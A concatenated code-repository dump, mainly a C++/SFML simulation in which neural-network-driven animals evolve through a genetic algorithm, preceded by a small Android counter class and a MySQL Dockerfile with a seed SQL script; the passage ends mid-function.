7a72f8e509d371b27eae1f3acec7eeb258c8af15
|
125c314fdab14f413a3a47b42d73239a78bdce20
|
refs/heads/master
|
<repo_name>anjeprol/MyMVC<file_sep>/app/src/main/java/com/example/prolan/mymvc/Model/CounterBalance.java
package com.example.prolan.mymvc.Model;
/**
* Created by Prolan on 21/01/2016.
*/
public class CounterBalance {
private int imCount = 0;
public int increment(){
return ++imCount;
}
}
|
90eeb1bb4a8943436f6f83d97296b0697aee22bf
|
[
"Java"
] | 1 |
Java
|
anjeprol/MyMVC
|
08b70f7039f124bc24a16697d5f242b81c6a73d5
|
c6a4ae442255f82aa462b32ec49d50bb866d9731
|
refs/heads/master
|
<repo_name>ManeMR25/docker_test<file_sep>/Dockerfile
FROM mysql
Env MYSQL_ROOT_PASSWORD=<PASSWORD>
Env MYSQL_DATABASE=MYSQL_DATABASE
COPY queries.sql /docker-entrypoint-initdb.d/
EXPOSE 3306<file_sep>/queries.sql
create table emp ( id int, name varchar(20));
insert into emp values (1 , 'Megha');
insert into emp values (2 , 'Shraddha');
|
48977f0c0e0aff172947e1fb50439ad1184c530c
|
[
"SQL",
"Dockerfile"
] | 2 |
Dockerfile
|
ManeMR25/docker_test
|
377eebc2451bfc186fdf65c3a756963e16ed6336
|
e2fec5fece6589a657f22a54478ad85f95274e99
|
refs/heads/master
|
<file_sep>var searchData=
[
['create',['create',['../class_config_parser.html#a7525ed2717618bab9644cec9cb77bbdd',1,'ConfigParser']]]
];
<file_sep>var searchData=
[
['_7eanimal',['~Animal',['../class_animal.html#a16d8b7f94611cc65f5cdb58cc105527b',1,'Animal']]],
['_7edisplay',['~Display',['../class_display.html#ac2607a6bb236c55547a4223d40d85d1f',1,'Display']]],
['_7eentity',['~Entity',['../class_entity.html#a588098978eea6a3486b7361605ff3f0f',1,'Entity']]],
['_7eentitymanager',['~EntityManager',['../class_entity_manager.html#a71a36c9fb8d579a1a1ec108e0fccf175',1,'EntityManager']]],
['_7efruit',['~Fruit',['../class_fruit.html#abd3325dd4faef5b64785aa61cd4046fa',1,'Fruit']]],
['_7egame',['~Game',['../class_game.html#ae3d112ca6e0e55150d2fdbc704474530',1,'Game']]],
['_7elayer',['~Layer',['../class_layer.html#a1b1ba4804451dfe6cc357194e42762ae',1,'Layer']]],
['_7eneuron',['~Neuron',['../class_neuron.html#a94a250ce7e167760e593979b899745b1',1,'Neuron']]]
];
<file_sep>var searchData=
[
['species',['Species',['../entity__manager_8h.html#a0832728b7db46fc23415523bebbb91d8',1,'entity_manager.h']]]
];
<file_sep>#ifndef DISPLAY_H
#define DISPLAY_H
#include <vector>
#include <iostream>
#include <SFML/Graphics.hpp>
#include <sstream>
#include "entity_manager.h"
#include "utils.h"
#include "animal.h"
#include "fruit.h"
class Game;
/**
* @brief Class handling every display aspect of the game
* @param _game Ptr to its parent game object
*/
class Display {
public:
Display(Game* _game);
~Display() {}
/**
* @brief Displays all the game elements and the UI
* @param manager Reference to the manager containing all entities to be displayed
* @param _interpolation Rate describing the interval of time between 2 game updates
*/
void update(const EntityManager &manager, const float &_interpolation);
/**
* @brief Handles all the user events
*/
void events();
private:
/**
* @brief Display the game elements (animals and plants)
* @param manager Reference to the manager containing all entities to be displayed
* @param view Reference to the current view of the game scene (what will be seen by the user)
*/
void displayGame(const EntityManager &manager, const sf::View &view);
/**
* @brief Display the UI elements (the text on the upper left)
* @param manager Reference to the manager containing all entities to be displayed
*/
void displayUI(const EntityManager &manager);
/**
* @brief Handles camera events and accordingly modifies mainView
*/
void cameraEvents();
/**
* @brief Draw the fruits inside the view
* @param fruits The fruits list
* @param view Game View (what will be seen by the user)
*/
void drawFruits(const std::vector<Fruit*> &fruits, const sf::View &view);
/**
* @brief Draw the animals inside the view
* @param animals The animals list
* @param view Game View (what will be seen by the user)
*/
void drawAnimals(const std::vector<Animal*> &animals, const sf::View &view);
void drawGameBorders(const sf::View &view);
/**
* @brief Changes the shapes colors according to the species index
* @param index The current species index
*/
void speciesColor(int index);
/**
* @brief Utility function to draw an oriented vector
* @param pos Origin of the vector
* @param angle Angle in degrees
* @param color Color
* @param size Size of the vector
*/
void drawVector(const Vect2i &pos, const float &angle, const sf::Color &color, const sf::Vector2f &size);
/**
* @brief Tells wether a point is inside the view
* @param pos The point's position
* @param view The view
* @return
*/
bool isInsideView(const Vect2i &pos, const sf::View &view);
Game *game;
sf::RenderWindow window;
sf::CircleShape fruitShape, animalShape;
sf::ConvexShape animalHeadShape;
sf::RectangleShape lineShape;
sf::Text text;
sf::Font font;
sf::View mainView;
const int STATUS_BAR_WIDTH, WORLD_SIZE, VIEW_MOVE_DELTA;
int windowWidth, windowHeight;
float interpolation;
bool hasFocus;
};
#endif // DISPLAY_H
<file_sep>var searchData=
[
['snake',['SNAKE',['../utils_8h.html#a06fc87d81c62e9abb8790b6e5713c55ba7d71275d46953bd71d2c6b11e219ee24',1,'utils.h']]]
];
<file_sep># Author : <NAME>
# Date : oct. 2013
# c++ compiler
CXX = g++
# project dirs
BIN_DIR = bin/
SRC_DIR = src/
OBJ_DIR = obj/
# target name
TARGET_R = $(addprefix $(BIN_DIR), neurones)
TARGET_D = $(addprefix $(BIN_DIR), neurones_d)
# linker flags
LDFLAG = -lm
LDFLAGS_R = -lsfml-graphics -lsfml-window -lsfml-system
LDFLAGS_D = -lsfml-graphics-d -lsfml-window-d -lsfml-system-d
# CXX flags
CXXFLAGS = -Wall -std=c++11
CXXFLAGS_R = -O2
CXXFLAGS_D = -g
# find sources and create objects' names
SOURCES = $(wildcard $(SRC_DIR)*.cpp)
PRE_OBJ = $(notdir $(SOURCES))
OBJECTS = $(addprefix $(OBJ_DIR), $(PRE_OBJ:.cpp=.o))
# default perspective is debug (should be changed before release)
all: release
# release configuration
release: CXXFLAGS+=$(CXXFLAGS_R)
release: LDFLAGS+=$(LDFLAGS_R)
release: TARGET=$(TARGET_R)
release: compile
# debug configuration
debug: CXXFLAGS+=$(CXXFLAGS_D)
debug: LDFLAGS+=$(LDFLAGS_D)
debug: TARGET=$(TARGET_D)
debug: compile
# linking all dependencies and binary
compile: $(OBJECTS)
$(CXX) -o $(TARGET) $(OBJECTS) $(LDFLAGS)
# compiling dependencies
$(addprefix $(OBJ_DIR), %.o): $(addprefix $(SRC_DIR), %.cpp)
$(CXX) -c $(CXXFLAGS) -o $@ $<
# clean objects
clean:
rm -rf $(OBJECTS)
# clean objects and binaries
superclean : clean
rm -rf $(TARGET_D) $(TARGET_R)
<file_sep>var animal_8cpp =
[
[ "SEUIL_ATTACKING", "animal_8cpp.html#af66075a058e499320a380abe3bea31f4", null ]
];<file_sep>var utils_8h =
[
[ "Vect2i", "struct_vect2i.html", "struct_vect2i" ],
[ "CFG", "utils_8h.html#ac78c5725422c0d27681a678fd24251c3", null ],
[ "PI", "utils_8h.html#a598a3330b3c21701223ee0ca14316eca", null ],
[ "Vect2i", "utils_8h.html#adfec4d83ed4c3c15bd0a4dbfb978102e", null ],
[ "CHICKEN", "utils_8h.html#a06fc87d81c62e9abb8790b6e5713c55ba7b83bba0067a592898404136ead1f3e6", null ],
[ "FOX", "utils_8h.html#a06fc87d81c62e9abb8790b6e5713c55ba1b56ce6b979242ea0223334ed2438a8d", null ],
[ "SNAKE", "utils_8h.html#a06fc87d81c62e9abb8790b6e5713c55ba7d71275d46953bd71d2c6b11e219ee24", null ],
[ "LYNX", "utils_8h.html#a06fc87d81c62e9abb8790b6e5713c55ba2c9e081066c09f8b4709fe0cb618500f", null ],
[ "MONKEY", "utils_8h.html#a06fc87d81c62e9abb8790b6e5713c55ba49dfe965c16e3b6e89dc275b3707f692", null ],
[ "FISH", "utils_8h.html#a06fc87d81c62e9abb8790b6e5713c55ba4d32e9d38eff7badd2435c3e87ae78a5", null ],
[ "TYPES_CNT", "utils_8h.html#a06fc87d81c62e9abb8790b6e5713c55ba5be6859802c9a30fa29e56608914e667", null ]
];<file_sep>var class_neural_network =
[
[ "NeuralNetwork", "class_neural_network.html#a3af96ee26597b200166e3a2523d56ad9", null ],
[ "getDNA", "class_neural_network.html#abd6e6ec0a4500527150c127f0f8d7c23", null ],
[ "initLayers", "class_neural_network.html#ace5b58e0174ef1f318db06f0b19f694b", null ],
[ "run", "class_neural_network.html#a2daf940807763cd3d81661f93d99e6ba", null ],
[ "setDNA", "class_neural_network.html#a38e8afa4eb8651b80c48b577ecdc6c4a", null ]
];<file_sep>var class_game =
[
[ "Game", "class_game.html#ad59df6562a58a614fda24622d3715b65", null ],
[ "~Game", "class_game.html#ae3d112ca6e0e55150d2fdbc704474530", null ],
[ "decreaseGameSpeed", "class_game.html#adcf5df2f7a3f5209f974741667b1236f", null ],
[ "getFps", "class_game.html#a90335116dc7ad193f6476a0c2a502662", null ],
[ "getGameSpeedRatio", "class_game.html#a16dc509013f9a07a905656830bfa674d", null ],
[ "getGeneration", "class_game.html#a3949b192e3277375cd07c98d3360bc44", null ],
[ "getIterations", "class_game.html#adc07928f26c664cefc2c6abee7846d5e", null ],
[ "getIterationsPerGeneration", "class_game.html#abcda9001eb350576bae25bc51b567422", null ],
[ "getUps", "class_game.html#aa555c6e4a6d743384a99c55d75a37bd2", null ],
[ "increaseGameSpeed", "class_game.html#a7c89563d299f25881c8c8a42c1e3219e", null ],
[ "loop", "class_game.html#a7ad92b77b596d7882a7ae76eb18b5e6c", null ],
[ "quit", "class_game.html#a8272be134d16c277bb014ad6a22fc357", null ]
];<file_sep>#include "fruit.h"
Fruit::Fruit()
: Entity() {
radius = CFG->readInt("FruitRadius");
init();
}
void Fruit::init() {
pos.x = rand() % WORLD_SIZE;
pos.y = rand() % WORLD_SIZE;
}
void Fruit::init(const Bush &bush) {
float angle = (rand() % 360) * PI / 180.f;
std::normal_distribution<float> normalRandDist(0, bush.size);
int dist = abs(normalRandDist(generator));
pos.x = bush.pos.x + cosf(angle) * dist;
pos.y = bush.pos.y + sinf(angle) * dist;
if (pos.x < 0)
pos.x += WORLD_SIZE;
else if (pos.x >= WORLD_SIZE)
pos.x -= WORLD_SIZE;
if (pos.y < 0)
pos.y += WORLD_SIZE;
else if (pos.y >= WORLD_SIZE)
pos.y -= WORLD_SIZE;
}<file_sep>var searchData=
[
['network',['network',['../class_animal.html#a61e897a85af66b3b8315e313ed86a307',1,'Animal']]],
['neural_5fnetwork_2ecpp',['neural_network.cpp',['../neural__network_8cpp.html',1,'']]],
['neural_5fnetwork_2eh',['neural_network.h',['../neural__network_8h.html',1,'']]],
['neuralnetwork',['NeuralNetwork',['../class_neural_network.html',1,'NeuralNetwork'],['../class_neural_network.html#a3af96ee26597b200166e3a2523d56ad9',1,'NeuralNetwork::NeuralNetwork()']]],
['neuron',['Neuron',['../class_neuron.html',1,'Neuron'],['../class_neuron.html#aac37e4753166ab39e0f4f6d90fdeda57',1,'Neuron::Neuron()']]],
['neuron_2ecpp',['neuron.cpp',['../neuron_8cpp.html',1,'']]],
['neuron_2eh',['neuron.h',['../neuron_8h.html',1,'']]]
];
<file_sep>var class_display =
[
[ "Display", "class_display.html#a21052a50c5e922272d697aaf5cfb14cc", null ],
[ "~Display", "class_display.html#ac2607a6bb236c55547a4223d40d85d1f", null ],
[ "events", "class_display.html#a05ee6cd33afcc51a5856148677a71c82", null ],
[ "update", "class_display.html#a713ee81045f32895c2b063037c81c388", null ]
];<file_sep>var searchData=
[
['debug',['DEBUG',['../config__parser_8cpp.html#ad72dbcf6d0153db1b8d8a58001feed83',1,'config_parser.cpp']]],
['decreasegamespeed',['decreaseGameSpeed',['../class_game.html#adcf5df2f7a3f5209f974741667b1236f',1,'Game']]],
['die',['die',['../class_animal.html#a557fe0d71dda75be2f8459ce0d7c2275',1,'Animal']]],
['display',['Display',['../class_display.html',1,'Display'],['../class_display.html#a21052a50c5e922272d697aaf5cfb14cc',1,'Display::Display()']]],
['display_2ecpp',['display.cpp',['../display_8cpp.html',1,'']]],
['display_2eh',['display.h',['../display_8h.html',1,'']]]
];
<file_sep>#ifndef ENTITY_MANAGER_H
#define ENTITY_MANAGER_H
/**
* \file entity_manager.h
* \author <NAME>
*/
#include <vector>
#include "utils.h"
#include "fruit.h"
#include "animal.h"
/// \brief Structure containing a species of animals
typedef struct Species {
std::vector<Animal*> tab; ///< The animals tab
} Species;
/**
* \brief Handles the entities, their relations, updates, and all the game mecanics
*/
class EntityManager {
public:
EntityManager();
~EntityManager();
/**
* \brief Initialise game elements for a new generation
*/
void init();
/**
* \brief Update the game elements
*/
void update();
// getters
std::vector<Species> getSpecies() const { return species; }
std::vector<Fruit*> getFruits() const { return fruits; }
private:
/// \brief Structure representing a position with its cartesian size
typedef struct Position {
float dist; ///< The squared size of the vector
Vect2i pos; ///< The unit vector
Position(float _dist = 0) : dist(_dist) {} ///< A constructor, to be able to define the size
} Position;
/**
* \brief Update one animal : give him inputs, call the NN, handle collisions
* @param animal Pointer to the animal
* @param index The animal's species index in the 'species' tab
*/
void update(Animal *animal, const unsigned int index);
/**
* \brief Add the closest animal's enemy information (pos + combatOutput) to the inputs array
* @param animal The animal
* @param index The animal's species index
* @param inputs The inputs array to fill (to be sent to the NN)
*/
void addClosestEnemy(const Animal *animal, const unsigned int index, std::vector<float> &inputs);
/**
* \brief Add the closest animal's ally information (pos + combatOutput) to the inputs array
* @param animal The animal
* @param index The animal's species index
* @param inputs The inputs array to fill (to be sent to the NN)
*/
void addClosestAlly(const Animal *animal, const unsigned int index, std::vector<float> &inputs);
/**
* \brief Add the closest animal's fruit information (pos) to the inputs array
* @param animal The animal
* @param inputs The inputs array to fill (to be sent to the NN)
*/
void addClosestFruit(const Animal* animal, std::vector<float> &inputs);
/**
* \brief Utility function to get the closest animal from 'animal' in tab
* @param animal the animal which we want to find the closest other animal
* @param tab the tab where to look for animals
* @param closestPos Contains a relative position to an animal. We fill it with the closest in tab if closer from the one we had as input
* @param animalInTab Tells wether our animal is in the tab
* @return A pointer to the closest animal (if we found one)
*
* closestPos is in/out. It contains a relative position from 'animal' to another animal that we found to be close to it.
* If our tab contains a closer animal than the one represented by closestPos, we fill closestPos with its relative position to animal and return a pointer to this animal.
* If not, we don't change closestPos, and return NULL
*/
Animal* getClosestAnimalFromTab(const Animal *animal, const std::vector<Animal*> &tab, Position &closestPos, bool animalInTab);
/**
* \brief Utility function to retrieve a position that is coherent with ur wrapping-edges world
* @param a Our origin point
* @param b The absolute position of a point
* @return A point representing b relatively to a
*
* Let's say a is located in (0px, 800px) and our world is 1000px large
* if b is (0, 100px), [ab] = (0, -700px), or a is only 300px (800->1000 + 0->100) away from b in our wrapping world
* In such a case, our function will return (0, 1100) so that we can calculate distances without trouble
*
* (If we didn't do so, an animal oscillating between an edge would see his world change everytime he crosses it
* Which is BAAAAD)
* I think this is wrong, it shows the difference, not the second according to the first
*/
Vect2i wrapPositionDifference(const Vect2i a, const Vect2i b) const;
/**
* \brief Add position p to the inputs array in the right coordinates system so that it is understood by the NN
* @param p The position of what we want to output
* @param inputs The inputs array (for the NN)
* @param angle The angle of our mobile, which we need to calculate realtive angle
*/
void addNormalizedPosition(const Position &p, std::vector<float> &inputs, const float &angle);
/**
* \brief Handles the collisions with fruits/animals of 'animal' after he updated his position
* @param animal The current animal
* @param index The animal's species index
*/
void handleCollisions(Animal *animal, const unsigned int index);
/**
* \brief handles a battle between animal and enemy
* @param animal The animal we study
* @param enemy His opponent
* @return True if animal died, false otherwise
*/
bool battle(Animal *animal, Animal *enemy);
/**
* \brief tells wether a and b collide, considreing both are Entities (ie circles), using their radiuses
return dist(a <-> b) < a.radius + b.radius
*/
bool isColliding(const Entity *ea, const Entity *eb) const;
std::vector<Fruit*> fruits;
std::vector<Species> species;
std::vector<Bush> bushes;
const unsigned int DISTANCE_SIGMOID;
const int WORLD_SIZE, BUSHES_NUMBER, BUSHES_MIN_SIZE, BUSHES_MAX_SIZE, BATTLE_MAX_ANGLE;
const bool ALLOW_FRIENDLY_FIRE;
};
#endif // ENTITY_MANAGER_H
<file_sep>var annotated =
[
[ "Animal", "class_animal.html", "class_animal" ],
[ "Bush", "struct_bush.html", "struct_bush" ],
[ "ConfigParser", "class_config_parser.html", "class_config_parser" ],
[ "Display", "class_display.html", "class_display" ],
[ "Entity", "class_entity.html", "class_entity" ],
[ "EntityManager", "class_entity_manager.html", "class_entity_manager" ],
[ "Fruit", "class_fruit.html", "class_fruit" ],
[ "Game", "class_game.html", "class_game" ],
[ "Genetics", "class_genetics.html", "class_genetics" ],
[ "Layer", "class_layer.html", "class_layer" ],
[ "NeuralNetwork", "class_neural_network.html", "class_neural_network" ],
[ "Neuron", "class_neuron.html", "class_neuron" ],
[ "Species", "struct_species.html", "struct_species" ],
[ "Vect2i", "struct_vect2i.html", "struct_vect2i" ]
];<file_sep>var searchData=
[
['tab',['tab',['../struct_species.html#ad608dc238745c2120e642fe5222d0afb',1,'Species']]],
['types_5fcnt',['TYPES_CNT',['../utils_8h.html#a06fc87d81c62e9abb8790b6e5713c55ba5be6859802c9a30fa29e56608914e667',1,'utils.h']]]
];
<file_sep>var struct_species =
[
[ "tab", "struct_species.html#ad608dc238745c2120e642fe5222d0afb", null ]
];<file_sep>var class_layer =
[
[ "Layer", "class_layer.html#a16d6a7a3cff2e9e489186400a9d0f4f2", null ],
[ "~Layer", "class_layer.html#a1b1ba4804451dfe6cc357194e42762ae", null ],
[ "getDNA", "class_layer.html#a18d9fa45eb9ff61f5d5bb9c74179bf30", null ],
[ "getDNASize", "class_layer.html#a01093e904ef7331b99fccc9abe1174aa", null ],
[ "initNeurons", "class_layer.html#a08ee50fd54abe23d9fc94551c7b4be3f", null ],
[ "run", "class_layer.html#a33387425a6f32b455bdca87496a891c9", null ],
[ "setDNA", "class_layer.html#acd14a68865522c3e63a0dab87dd3a100", null ]
];<file_sep>#ifndef GAME_H
#define GAME_H
#include <iostream>
#include <vector>
#include <chrono>
#include <ctime>
#include <ratio>
#include <SFML/System.hpp>
#include "display.h"
#include "entity_manager.h"
#include "genetics.h"
/**
* @brief General class dispatching the game jobs to other objects. Only SFML user with Display
*
*/
class Game {
public :
Game();
~Game();
/**
* @brief Game loop
*/
void loop();
void quit() { continuer = false; }
void increaseGameSpeed();
void decreaseGameSpeed();
// getters
int getGeneration() const { return generation; }
int getIterations() const { return iterations; }
int getIterationsPerGeneration() const { return ITERATIONS_PER_GENERATION; }
float getGameSpeedRatio() const { return gameSpeedRatio; }
float getFps() const { return fps; }
float getUps() const { return ups; }
private :
/**
* @brief calls the genetic algorithm and resets everything for the next generation
*/
void newGeneration();
/**
* @brief Game update : calls the manager and checks for the end of the generation
*/
void update();
/**
* @brief Updates fps & ups every second for user information
*/
void updateFps();
Display display;
EntityManager manager;
Genetics genetics;
bool continuer;
int generation;
const int ITERATIONS_PER_GENERATION, DEFAULT_GAME_SPEED, MINIMUM_FPS;
// time handling attributes
sf::Clock clock, oneSecondClock;
sf::Time nextUpdateTick, maxDisplayTick;
float gameSpeedRatio;
float fps, ups /* updates per second */;
int iterations, updatesCount, displaysCount;
};
#endif // GAME_H
<file_sep>var searchData=
[
['decreasegamespeed',['decreaseGameSpeed',['../class_game.html#adcf5df2f7a3f5209f974741667b1236f',1,'Game']]],
['die',['die',['../class_animal.html#a557fe0d71dda75be2f8459ce0d7c2275',1,'Animal']]],
['display',['Display',['../class_display.html#a21052a50c5e922272d697aaf5cfb14cc',1,'Display']]]
];
<file_sep>var searchData=
[
['neuralnetwork',['NeuralNetwork',['../class_neural_network.html#a3af96ee26597b200166e3a2523d56ad9',1,'NeuralNetwork']]],
['neuron',['Neuron',['../class_neuron.html#aac37e4753166ab39e0f4f6d90fdeda57',1,'Neuron']]]
];
<file_sep>var searchData=
[
['pi',['PI',['../utils_8h.html#a598a3330b3c21701223ee0ca14316eca',1,'utils.h']]],
['pos',['pos',['../class_entity.html#a885ee23e7a2132f0d890bb2e312e6d77',1,'Entity::pos()'],['../struct_bush.html#ab3135be5ff260f0e223cb9c64f4aedc3',1,'Bush::pos()']]]
];
<file_sep>var hierarchy =
[
[ "Bush", "struct_bush.html", null ],
[ "ConfigParser", "class_config_parser.html", null ],
[ "Display", "class_display.html", null ],
[ "Entity", "class_entity.html", [
[ "Animal", "class_animal.html", null ],
[ "Fruit", "class_fruit.html", null ]
] ],
[ "EntityManager", "class_entity_manager.html", null ],
[ "Game", "class_game.html", null ],
[ "Genetics", "class_genetics.html", null ],
[ "Layer", "class_layer.html", null ],
[ "NeuralNetwork", "class_neural_network.html", null ],
[ "Neuron", "class_neuron.html", null ],
[ "Species", "struct_species.html", null ],
[ "Vect2i", "struct_vect2i.html", null ]
];<file_sep>#ifndef NEURAL_NETWORK_H
#define NEURAL_NETWORK_H
#include <vector>
#include <cmath>
#include <iostream>
#include "utils.h"
#include "layer.h"
/**
* @brief The NN class, containing LayersNumber (form config.cfg) layers of neurons, the layers size depending on inputs/ouptus/config
* @param _inputsNumber The inputs number of the NN
* @param _outputsNumber The outputs number
*
* This class describes the brain of every animal.
* It is a very simple Neural Network, containing at least an input layer of inputsNumber neurons, and an output layer of outputsNumber neurons. You can configure as much hidden layers you want (one is enough, it has been proven for non linear activation functions) of as many neurons you want (this factor makes quite interesting changes to the animals' behavior).
*
* It's most interesting feature is that, it is a blackbox combinatory machine (same inputs give same outputs).
* We can synthetise all the behavior of this machine by extracting its DNA : an organized float array that represents every weight of every neuron, even though the values don't mean anything to us. After this extraction is made, we can mix up the DNA using the Genetics class, and see evolution occur !
*
* On the other hand, it sadly means that our animals only act instinctly, strictly following what their DNA tell them to do. This could be improved if we used some kind of heavier Neural Network, like a sequential one for start (sequential means that the machine remembers its previous state).
*/
class NeuralNetwork {
public :
NeuralNetwork(unsigned int _inputsNumber, unsigned int _outputsNumber);
/**
* @brief Initialisation of the different layers depending on inputs/outputs/config (for the hidden layer)
*/
void initLayers();
// Run : execute le calcul de tout le NN en fonction d'inputs
/**
* @brief Runs the calculation of the outputs array depending on the inputs
* @param inputs The inputs array
* @return The outpus array
*/
std::vector<float> run(const std::vector<float> inputs);
/**
* @return The complete DNA of the NN, as an array of float
*/
std::vector<float> getDNA();
/**
* @brief Updates the DNA of all neurons with the new one, given by the genetics algorithm
* @param DNA The DNA to set
*/
void setDNA(const std::vector<float> &DNA);
private :
unsigned int inputsNumber, outputsNumber;
std::vector<Layer> layers;
std::vector<float> outputs;
};
#endif // NEURAL_NETWORK_H
<file_sep>var struct_vect2i =
[
[ "Vect2i", "struct_vect2i.html#a141de752973cb8b63e70e16f84653f03", null ],
[ "x", "struct_vect2i.html#ae76ced0cba575b16f9de72e78828122b", null ],
[ "y", "struct_vect2i.html#a32d99812cd2cccca2b9751259783b699", null ]
];<file_sep>var searchData=
[
['entity',['Entity',['../class_entity.html#a980f368aa07ce358583982821533a54a',1,'Entity']]],
['entitymanager',['EntityManager',['../class_entity_manager.html#a7555637657d090171be6ceee8451de0a',1,'EntityManager']]],
['events',['events',['../class_display.html#a05ee6cd33afcc51a5856148677a71c82',1,'Display']]],
['evolve',['evolve',['../class_genetics.html#a63e33bd3725feb511e19d86e2d07ca3b',1,'Genetics']]]
];
<file_sep>#ifndef NEURON_H
#define NEURON_H
#include <stdlib.h>
#include <vector>
#include "utils.h"
#include "config_parser.h"
/**
* @brief The Neuron class, with represents a singleton, without backprop or anything
* @param _inputsNumber The inputs number of the neuron
*
* The Neurons used in the projects are ultra simple percpetrons, without back-propagation or anything like it.
*
* It uses sigmoids as an activation function, because floats are so cooler than bools (and much more CPU-intensive).
*
* I'll let you check out Wikipedia if you need more info about how a perceptron work, or let you check out the NeuralNetwork class, where I described a bit more how my Neural Networks worked.
*/
class Neuron {
public:
Neuron(unsigned int _inputsNumber);
~Neuron();
/**
* @brief Initializes all the weights with uniform rand values [-1; 1]
*/
void initWeights();
/**
* @brief Runs the calculation of the output value depending on the inputs
* @param inputs The inputs array
* @return The output value
*
* To compute the output, we make the linear combination of weights and inputs : sum = weights * inputs
* Then, we apply an activation function to sum, so that it stays within the interval [-1; 1]
* In our case, we use a sigmoid, which inclination is determined by NeuronSigmoid in config.cfg
*/
const float run(const std::vector<float> inputs);
/**
* @brief Updates the DNA of the neuron with the new one given by the GA
* @param DNA The new piece of ADN
*
* We simply replace the actual weights by the ones given by the DNA
*/
void setDNA(const std::vector<float> &DNA);
/**
* @return the DNA of the neuron, which is the array of its weights
*/
std::vector<float> getDNA();
/**
* @return The size of the DNA of the neuron
*/
unsigned int getDNASize() const { return weights.size(); }
private:
unsigned int inputsNumber;
std::vector<float> weights;
const float NEURON_SIGMOID;
};
#endif // NEURON_H
<file_sep>var searchData=
[
['alive',['alive',['../class_animal.html#a38d08d48cf5b16863bb40fa731b06629',1,'Animal']]],
['angle',['angle',['../class_entity.html#abb6791bd923767cdf42a7e3101a6f76d',1,'Entity']]],
['animal_5fangular_5fspeed',['ANIMAL_ANGULAR_SPEED',['../class_animal.html#a4004efb93813a375712ad5d82a404659',1,'Animal']]],
['animal_5flinear_5fspeed',['ANIMAL_LINEAR_SPEED',['../class_animal.html#a4468a9e53e199e90deccd07d2315f13a',1,'Animal']]]
];
<file_sep>#ifndef FRUIT_H
#define FRUIT_H
#include <stdlib.h>
#include "utils.h"
#include "entity.h"
/**
* @brief Structure representig a bush : point and size where fruits have high probabylity to appear
*
* It is used to make fruits appear in a realistic way, ie in the form of bushes of different sizes all around the world.
* You can play around with it by changing BushesNumber, BushesMinSize and BushesMaxSize in config.cfg
*/
typedef struct Bush {
Vect2i pos; ///< Center of the bush
int size; ///< size of the bush (to be used in a gaussian probability function)
} Bush;
/**
* @brief class representing a fruit : static element that can be eaten by an animal
*/
class Fruit : public Entity {
public :
Fruit();
virtual ~Fruit() {}
virtual void init();
/**
* @brief Initialise a fruit somewhere near the bush in parameter
* @param bush The bush the fruit belongs to
*/
void init(const Bush &bush);
};
#endif // FRUIT_H
<file_sep>var searchData=
[
['y',['y',['../struct_vect2i.html#a32d99812cd2cccca2b9751259783b699',1,'Vect2i']]]
];
<file_sep>var class_config_parser =
[
[ "readFile", "class_config_parser.html#adcaa724f20085403bb1beb7918903fdd", null ],
[ "readFloat", "class_config_parser.html#a7a4b723bc0f88e966f4b67347b5264cd", null ],
[ "readInt", "class_config_parser.html#a9eb8031a0252a34fcb808dba2b9780e5", null ],
[ "readString", "class_config_parser.html#abcdb07fdc295e07adefbd338c552c493", null ],
[ "saveFile", "class_config_parser.html#a98928657410a8c91f9d68c5d5235ace1", null ],
[ "setFloat", "class_config_parser.html#a18ad19fa692a557be50d868fd3f83ca3", null ],
[ "setInt", "class_config_parser.html#a49ddd20e2f9ea0ea864c3006d2177323", null ],
[ "setString", "class_config_parser.html#a6eba995aa9d58ad843d05e3f0a003d3e", null ]
];<file_sep>var searchData=
[
['score',['score',['../class_animal.html#ab5ab9a2e34464e0415b6588e820b0ad7',1,'Animal']]],
['size',['size',['../struct_bush.html#a3b40c2cda3c709539246d302e74b8168',1,'Bush']]],
['speed',['speed',['../class_animal.html#a280335c5deaf3402c85ab95a7653a483',1,'Animal']]]
];
<file_sep>var searchData=
[
['out_5f0',['OUT_0',['../neuron_8h.html#a3506e2878e0f36c5dffd515e6b386c5e',1,'neuron.h']]],
['out_5f1',['OUT_1',['../neuron_8h.html#a69935f16da7c62437bf70a37e61c3be4',1,'neuron.h']]]
];
<file_sep>var searchData=
[
['types_5fcnt',['TYPES_CNT',['../utils_8h.html#a06fc87d81c62e9abb8790b6e5713c55ba5be6859802c9a30fa29e56608914e667',1,'utils.h']]]
];
<file_sep>var searchData=
[
['pi',['PI',['../utils_8h.html#a598a3330b3c21701223ee0ca14316eca',1,'utils.h']]]
];
<file_sep>var searchData=
[
['tab',['tab',['../struct_species.html#ad608dc238745c2120e642fe5222d0afb',1,'Species']]]
];
<file_sep>#include "animal.h"
#define SEUIL_ATTACKING 0.9f
Animal::Animal()
: Entity(), ANIMAL_LINEAR_SPEED(CFG->readInt("AnimalLinearSpeed")),
ANIMAL_ANGULAR_SPEED(CFG->readInt("AnimalAngularSpeed")), network(CFG->readInt("InputLayerSize"), CFG->readInt("OutputLayerSize")) {
radius = CFG->readInt("AnimalRadius");
init();
}
void Animal::init() {
score = 0;
alive = true;
closestEnemyAngle = 0;
closestFruitAngle = 0;
closestAllyAngle = 0;
enemyRelativeAngle = 0;
allyRelativeAngle = 0;
pos.x = rand() % WORLD_SIZE;
pos.y = rand() % WORLD_SIZE;
angle = rand() % 360;
speed = Vect2i();
}
void Animal::init(const std::vector<float> &DNA) {
init();
network.setDNA(DNA);
}
void Animal::update(const std::vector<float> inputs) {
std::vector<float> outputs;
// Calcul des closestAngles à partir des inputs
// ... codé en dur...
// plus proche fruit
if (inputs[0] != 0.f)
closestFruitAngle = inputs[0] * 360 + angle;
else
closestFruitAngle = 0.f;
// Plus proche ennemi
if (inputs[2] != 0.f)
closestEnemyAngle = inputs[2] * 360 + angle;
else
closestEnemyAngle = 0.f;
enemyRelativeAngle = inputs[4] * 360;
// Plus proche allié
if (inputs[5] != 0.f)
closestAllyAngle = inputs[5] * 360 + angle;
else
closestAllyAngle = 0.f;
allyRelativeAngle = inputs[7] * 360;
// Récupération des sorties du nn
outputs = network.run(inputs);
// Mise à jour de la position si on est pas en train d'attaquer
updatePosition(outputs[0], outputs[1]);
}
void Animal::incrementScore() {
score++;
}
void Animal::die() {
alive = false;
}
/* Plus d'infos ici :
* http://www.koonsolo.com/news/dewitters-gameloop/
* L'interpolation c'est la fluidité visuelle à bas prix
*/
Vect2i Animal::getDisplayPos(const float &interpolation) const {
return Vect2i( lastPos.x + speed.x * interpolation,
lastPos.y + speed.y * interpolation );
}
void Animal::updatePosition(float da, float dp) {
// slowdown factor : when attacking or defending, animals go slower
//float slowdownRate = 1.f - fabs(battleOutput);
// composante angulaire et linéaire du déplacement
